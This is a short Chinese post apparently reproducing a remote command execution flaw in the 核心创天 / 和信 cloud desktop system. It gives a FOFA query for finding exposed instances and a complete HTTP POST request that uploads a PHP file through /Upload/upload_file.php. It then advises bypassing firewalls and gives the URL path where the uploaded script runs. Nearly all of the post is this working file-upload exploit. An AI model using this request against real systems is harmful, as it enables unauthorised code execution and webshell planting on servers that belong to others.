【复现】核心创天云桌面系统远程命令执行

fofa:

body="和信下一代云桌面"

 构造发送数据包：

POST /Upload/upload_file.php?l=test HTTP/1.1
Host:ｘ．ｘ．ｘ．ｘ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
Content-Length: 188

------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="test2.php"
Content-Type: image/avif

<?php phpinfo(); ?>
------WebKitFormBoundaryfcKRltGv--

出现requst表示上传成功，有些地方会与防火墙，注意绕过

访问https://ｉｐ/Upload/test/test2.php

 我仍然是个只会用脚本的臭弟弟。。。。很多代码也看不懂，嘤嘤嘤，原理也不是很懂。